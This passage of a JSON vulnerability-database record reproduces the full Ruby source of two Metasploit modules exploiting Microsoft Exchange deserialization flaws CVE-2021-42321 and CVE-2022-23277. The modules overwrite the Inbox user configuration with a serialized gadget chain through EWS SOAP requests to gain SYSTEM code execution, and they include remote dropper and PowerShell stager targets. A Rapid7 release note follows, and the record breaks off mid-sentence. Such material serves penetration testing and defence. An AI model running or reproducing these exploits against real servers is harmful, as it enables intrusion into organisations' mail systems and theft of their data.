'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nxml_getfolder = res.get_xml_document \nxml_getfolder.remove_namespaces! \nxml_tag = xml_getfolder.xpath('//FolderId') \nif xml_tag.empty? \nfail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!') \nend \nunless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey') \nfail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!') \nend \nchange_key_val = xml_tag.attribute('ChangeKey').value \nfolder_id_val = xml_tag.attribute('Id').value \nprint_good(\"ChangeKey value for Inbox folder is #{change_key_val}\") \nprint_good(\"ID value for Inbox folder is #{folder_id_val}\") \n \n# Delete the user configuration object that currently on the Inbox folder. \nprint_status('Deleting the user configuration object associated with Inbox folder...') \nxml_delete_inbox_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:DeleteUserConfiguration> \n<m:UserConfigurationName Name=\"ExtensionMasterTable\"> \n<t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" /> \n</m:UserConfigurationName> \n</m:DeleteUserConfiguration> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_delete_inbox_user_config, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nif res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>} \nprint_good('Successfully deleted the user configuration object associated with the Inbox folder!') \nelse \nprint_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!') \nprint_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!') \nend \n \n# Now to replace the deleted user configuration object with our own user configuration object. \nprint_status('Creating the malicious user configuration object on the Inbox folder!') \n \ngadget_chain = Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter)) \nxml_malicious_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:CreateUserConfiguration> \n<m:UserConfiguration> \n<t:UserConfigurationName Name=\"ExtensionMasterTable\"> \n<t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" /> \n</t:UserConfigurationName> \n<t:Dictionary> \n<t:DictionaryEntry> \n<t:DictionaryKey> \n<t:Type>String</t:Type> \n<t:Value>OrgChkTm</t:Value> \n</t:DictionaryKey> \n<t:DictionaryValue> \n<t:Type>Integer64</t:Type> \n<t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value> \n</t:DictionaryValue> \n</t:DictionaryEntry> \n<t:DictionaryEntry> \n<t:DictionaryKey> \n<t:Type>String</t:Type> \n<t:Value>OrgDO</t:Value> \n</t:DictionaryKey> \n<t:DictionaryValue> \n<t:Type>Boolean</t:Type> \n<t:Value>false</t:Value> \n</t:DictionaryValue> \n</t:DictionaryEntry> \n</t:Dictionary> \n<t:BinaryData>#{gadget_chain}</t:BinaryData> \n</m:UserConfiguration> \n</m:CreateUserConfiguration> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_malicious_user_config, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nunless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>} \nfail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!') \nend \n \nprint_good('Successfully created the malicious user configuration object and associated with the Inbox folder!') \n \n# Deserialize our object. If all goes well, you should now have SYSTEM :) \nprint_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...') \nxml_get_client_access_token = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:GetClientAccessToken> \n<m:TokenRequests> \n<t:TokenRequest> \n<t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id> \n<t:TokenType>CallerIdentity</t:TokenType> \n</t:TokenRequest> \n</m:TokenRequests> \n</m:GetClientAccessToken> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_get_client_access_token, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nunless res.body =~ %r{<e:Message xmlns:e=\"http://schemas.microsoft.com/exchange/services/2006/errors\">An internal server error occurred. The operation failed.</e:Message>} \nfail_with(Failure::UnexpectedReply, 'Did not recieve the expected internal server error upon deserialization!') \nend \nend \nend \n`\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/166153/exchange_chainedserializationbinder_denylist_typo_rce.rb.txt"}, {"lastseen": "2022-08-22T16:13:32", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-08-22T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange Server ChainedSerializationBinder Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321", "CVE-2022-23277"], "modified": "2022-08-22T00:00:00", "id": "PACKETSTORM:168131", "href": "https://packetstormsecurity.com/files/168131/Microsoft-Exchange-Server-ChainedSerializationBinder-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'nokogiri' \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::Powershell \ninclude Msf::Exploit::Remote::HTTP::Exchange \ninclude Msf::Exploit::Deprecated \nmoved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce' \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE', \n'Description' => %q{ \nThis module exploits vulnerabilities within the ChainedSerializationBinder as used in \nExchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and \nExchange Server 2016 CU22 all prior to Mar22SU. \n \nNote that authentication is required to exploit these vulnerabilities. \n}, \n'Author' => [ \n'pwnforsp', # Original Bug Discovery \n'zcgonvh', # Of 360 noah lab, Original Bug Discovery \n'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild \n'Microsoft Security Response Center', # Discovery of exploitation in the wild \n'peterjson', # Writeup \n'testanull', # PoC Exploit \n'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D \n'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains \n'Markus Wulftange' # CVE-2022-23277 research \n], \n'References' => [ \n# CVE-2021-42321 references \n['CVE', '2021-42321'], \n['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'], \n['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'], \n['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'], \n['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'], \n['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'], \n# CVE-2022-23277 references \n['CVE', '2022-23277'], \n['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'], \n['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c'] \n], \n'DisclosureDate' => '2021-12-09', \n'License' => MSF_LICENSE, \n'Platform' => 'win', \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Windows Command', \n{ \n'Arch' => ARCH_CMD, \n'Type' => :win_cmd \n} \n], \n[ \n'Windows Dropper', \n{ \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :win_dropper, \n'DefaultOptions' => { \n'CMDSTAGER::FLAVOR' => :psh_invokewebrequest \n} \n} \n], \n[ \n'PowerShell Stager', \n{ \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :psh_stager \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'SSL' => true, \n'HttpClientTimeout' => 5, \n'WfsDelay' => 10 \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [ \nIOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169 \nCONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger. \n] \n} \n) \n) \nregister_options([ \nOpt::RPORT(443), \nOptString.new('TARGETURI', [true, 'Base path', '/']), \nOptString.new('HttpUsername', [true, 'The username to log into the Exchange server as']), \nOptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server']) \n]) \nend \n \ndef post_auth? \ntrue \nend \n \ndef username \ndatastore['HttpUsername'] \nend \n \ndef password \ndatastore['HttpPassword'] \nend \n \ndef cve_2021_42321_vuln_builds \n# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 \n[ \n'15.1.2308.8', '15.1.2308.14', '15.1.2308.15', # Exchange Server 2016 CU21 \n'15.1.2375.7', '15.1.2375.12', # Exchange Server 2016 CU22 \n'15.2.922.7', '15.2.922.13', '15.2.922.14', # Exchange Server 2019 CU10 \n'15.2.986.5', '15.2.986.9' # Exchange Server 2019 CU11 \n] \nend \n \ndef cve_2022_23277_vuln_builds \n# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 \n[ \n'15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU \n'15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU \n'15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU \n'15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU \n'15.2.922.19', # Exchange Server 2019 CU10 Nov21SU \n'15.2.922.20', # Exchange Server 2019 CU10 Jan22SU \n'15.2.986.14', # Exchange Server 2019 CU11 Nov21SU \n'15.2.986.15' # Exchange Server 2019 CU11 Jan22SU \n] \nend \n \ndef check \n# Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version \ncurrent_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds) \nif current_build_rex.nil? \nreturn CheckCode::Unknown(\"Couldn't retrieve the target Exchange Server version!\") \nend \n \n@exchange_build = current_build_rex.to_s \n \nif cve_2021_42321_vuln_builds.include?(@exchange_build) \nCheckCode::Appears(\"Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321\") \nelsif cve_2022_23277_vuln_builds.include?(@exchange_build) \nCheckCode::Appears(\"Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277\") \nelse \nCheckCode::Safe(\"Exchange Server #{@exchange_build} does not appear to be a vulnerable version!\") \nend \nend \n \ndef exploit \nif @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it \n@exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s \nif @exchange_build.nil? \nfail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.') \nend \nend \n \nif cve_2021_42321_vuln_builds.include?(@exchange_build) \n@gadget_chain = :ClaimsPrincipal \nelsif cve_2022_23277_vuln_builds.include?(@exchange_build) \n@gadget_chain = :DataSetTypeSpoof \nelse \nfail_with(Failure::NotVulnerable, \"Exchange Server #{@exchange_build} is not a vulnerable version!\") \nend \n \ncase target['Type'] \nwhen :win_cmd \nexecute_command(payload.encoded) \nwhen :win_dropper \nexecute_cmdstager \nwhen :psh_stager \nexecute_command(cmd_psh_payload( \npayload.encoded, \npayload.arch.first, \nremove_comspec: true \n)) \nend \nend \n \ndef execute_command(cmd, _opts = {}) \n# Get the user's inbox folder's ID and change key ID. \nprint_status(\"Getting the user's inbox folder's ID and ChangeKey ID...\") \nxml_getfolder_inbox = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:GetFolder> \n<m:FolderShape> \n<t:BaseShape>AllProperties</t:BaseShape> \n</m:FolderShape> \n<m:FolderIds> \n<t:DistinguishedFolderId Id=\"inbox\" /> \n</m:FolderIds> \n</m:GetFolder> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_getfolder_inbox, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nif res.code == 401 \nfail_with(Failure::NoAccess, \"Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\\\#{username}\") \nend \n \nxml_getfolder = res.get_xml_document \nxml_getfolder.remove_namespaces! \nxml_tag = xml_getfolder.xpath('//FolderId') \nif xml_tag.empty? \nprint_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!') \nfail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!') \nend \nunless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey') \nfail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!') \nend \nchange_key_val = xml_tag.attribute('ChangeKey').value \nfolder_id_val = xml_tag.attribute('Id').value \nprint_good(\"ChangeKey value for Inbox folder is #{change_key_val}\") \nprint_good(\"ID value for Inbox folder is #{folder_id_val}\") \n \n# Delete the user configuration object that currently on the Inbox folder. \nprint_status('Deleting the user configuration object associated with Inbox folder...') \nxml_delete_inbox_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:DeleteUserConfiguration> \n<m:UserConfigurationName Name=\"ExtensionMasterTable\"> \n<t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" /> \n</m:UserConfigurationName> \n</m:DeleteUserConfiguration> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_delete_inbox_user_config, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nif res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>} \nprint_good('Successfully deleted the user configuration object associated with the Inbox folder!') \nelse \nprint_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!') \nprint_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!') \nend \n \n# Now to replace the deleted user configuration object with our own user configuration object. \nprint_status('Creating the malicious user configuration object on the Inbox folder!') \n \nxml_malicious_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:CreateUserConfiguration> \n<m:UserConfiguration> \n<t:UserConfigurationName Name=\"ExtensionMasterTable\"> \n<t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" /> \n</t:UserConfigurationName> \n<t:Dictionary> \n<t:DictionaryEntry> \n<t:DictionaryKey> \n<t:Type>String</t:Type> \n<t:Value>OrgChkTm</t:Value> \n</t:DictionaryKey> \n<t:DictionaryValue> \n<t:Type>Integer64</t:Type> \n<t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value> \n</t:DictionaryValue> \n</t:DictionaryEntry> \n<t:DictionaryEntry> \n<t:DictionaryKey> \n<t:Type>String</t:Type> \n<t:Value>OrgDO</t:Value> \n</t:DictionaryKey> \n<t:DictionaryValue> \n<t:Type>Boolean</t:Type> \n<t:Value>false</t:Value> \n</t:DictionaryValue> \n</t:DictionaryEntry> \n</t:Dictionary> \n<t:BinaryData>#{Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: @gadget_chain, formatter: :BinaryFormatter))}</t:BinaryData> \n</m:UserConfiguration> \n</m:CreateUserConfiguration> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_malicious_user_config, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nfail_with(Failure::Unreachable, 'Connection failed') if res.nil? \n \nunless res&.body \nfail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') \nend \n \nunless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>} \nfail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!') \nend \n \nprint_good('Successfully created the malicious user configuration object and associated with the Inbox folder!') \n \n# Deserialize our object. If all goes well, you should now have SYSTEM :) \nprint_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...') \nxml_get_client_access_token = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:GetClientAccessToken> \n<m:TokenRequests> \n<t:TokenRequest> \n<t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id> \n<t:TokenType>CallerIdentity</t:TokenType> \n</t:TokenRequest> \n</m:TokenRequests> \n</m:GetClientAccessToken> \n</soap:Body> \n</soap:Envelope>) \n \nbegin \nsend_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_get_client_access_token, \n'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. \n} \n) \nrescue Errno::ECONNRESET \n# when using the DataSetTypeSpoof gadget, it's expected that this connection reset exception will be raised \nend \nend \nend \n`\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/168131/exchange_chainedserializationbinder_rce.rb.txt"}], "rapid7blog": [{"lastseen": "2022-02-25T23:28:01", "description": "## Exchange RCE\n\n\n\nExchange remote code execution vulnerabilities are always valuable exploits to have. This week Metasploit added an exploit for an authenticated RCE in Microsoft Exchange servers 2016 and server 2019 identified as [CVE-2021-42321](<https://attackerkb.com/topics/4JMe2Y1WSY/cve-2021-42321?referrer=blog>). The flaw leveraged by the exploit exists in a misconfigured denylist that failed to prevent a serialized blob from being loaded resulting in code execution. While this is an authenticated vulnerability, a standard user has sufficient permissions to trigger it which likely encompasses most users within an organization that uses Exchange. The vulnerability affects Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11 prior to Security Update 2, Exchange Server 2016 CU21 prior to Security Update 3, and Exchange Server 2016 CU22 prior to Security Update 2.\n\n## Chrome Password Decryption\n\nCommunity member [timwr](<https://github.com/timwr>) updated the existing Chrome enumeration module to support decrypting passwords from modern versions of Chrome. The module can now decrypt both the new and old formats of passwords. This is helpful because when Chrome is updated, passwords in the old format are not updated to the new format.\n\n## New module content (2)\n\n * [Microweber CMS v1.2.10 Local File Inclusion (Authenticated)](<https://github.com/rapid7/metasploit-framework/pull/16156>) by Talha Karakumru - Adds a new module `auxiliary/gather/microweber_lfi` which targets Microweber CMS v1.2.10 and allows authenticated users to read arbitrary files on disk.\n * [Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE](<https://github.com/rapid7/metasploit-framework/pull/16164>) by Grant Willcox, Microsoft Security Response Center, Microsoft Threat Intelligence Center, peterjson, pwnforsp, testanull, and zcgonvh, which exploits [CVE-2021-42321](<https://attackerkb.com/topics/4JMe2Y1WSY/cve-2021-42321?referrer=blog>) \\- This adds an exploit for CVE-2021-42321 which is an authenticated RCE in Microsoft Exchange. The vulnerability is related to a misconfigured deny-list that fails to properly prevent malicious serialized objects from being loaded, leading to code execution.\n\n## Enhancements and features\n\n * [#16061](<https://github.com/rapid7/metasploit-framework/pull/16061>) from [shoxxdj](<https://github.com/shoxxdj>) \\- The `wordpress_scanner` module has been updated to support enumerating WordPress users using the `wp-json` API.\n * [#16200](<https://github.com/rapid7/metasploit-framework/pull/16200>) from [timwr](<https://github.com/timwr>) \\- This updates post/windows/enum_chrome to support decrypting stored passwords for Chrome versions greater than 80.\n\n## Bugs fixed\n\n * [#16197](<https://github.com/rapid7/metasploit-framework/pull/16197>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This fixes an edge case when reading files on Windows, and fixes Ruby 3 crashes when reading files.\n * [#16215](<https://github.com/rapid7/metasploit-framework/pull/16215>) from [bwatters-r7](<https://github.com/bwatters-r7>) \\- This updates payloads version to 2.0.75, taking in the changes landed in <https://github.com/rapid7/metasploit-payloads/pull/542> and fixes a bug in Windows Meterpreter `getsystem` command where a failed attempt to elevate can result in a partially-broken session.\n * [#16093](<https://github.com/rapid7/metasploit-framework/pull/16093>) from [h00die](<https://github.com/h00die>) \\- A number of broken URL references have been fixed in Metasploit modules. In addition, the `tools/modules/module_reference.rb` code has been updated to log redirects so that they can be appropriately triaged later and to support saving results to a CSV file. Finally, several modules had their code adjusted to conform to RuboCop standards.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.1.30...6.1.31](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222022-02-16T23%3A31%3A40-06%3A00..2022-02-24T11%3A00%3A46-06%3A00%22>)\n * [Full diff 6.1.30...6.1.31](<https://github.com/rapid7/metasploit-framework/compare/6.1.30...6.1.31>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-25T21:48:46", "type": "rapid7blog", "title": "Metasploit Weekly Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2022-02-25T21:48:46", "id": "RAPID7BLOG:F128DF1DF900C5377CF4BBF1DFD03A1A", "href": "https://blog.rapid7.com/2022/02/25/metasploit-weekly-wrap-up-2/", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2022-01-18T23:27:22", "description": "\n\nThe first Patch Tuesday of 2022 sees Microsoft publishing fixes for over 120 CVEs across the bulk of their product line, including 29 previously patched CVEs affecting their Edge browser via Chromium. None of these have yet been seen exploited in the wild, though six were publicly disclosed prior to today. This includes two Remote Code Execution (RCE) vulnerabilities in open source libraries that are bundled with more recent versions of Windows: [CVE-2021-22947](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-22947>), which affects the curl library, and [CVE-2021-36976](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36976>) which affects libarchive.\n\nThe majority of this month\u2019s patched 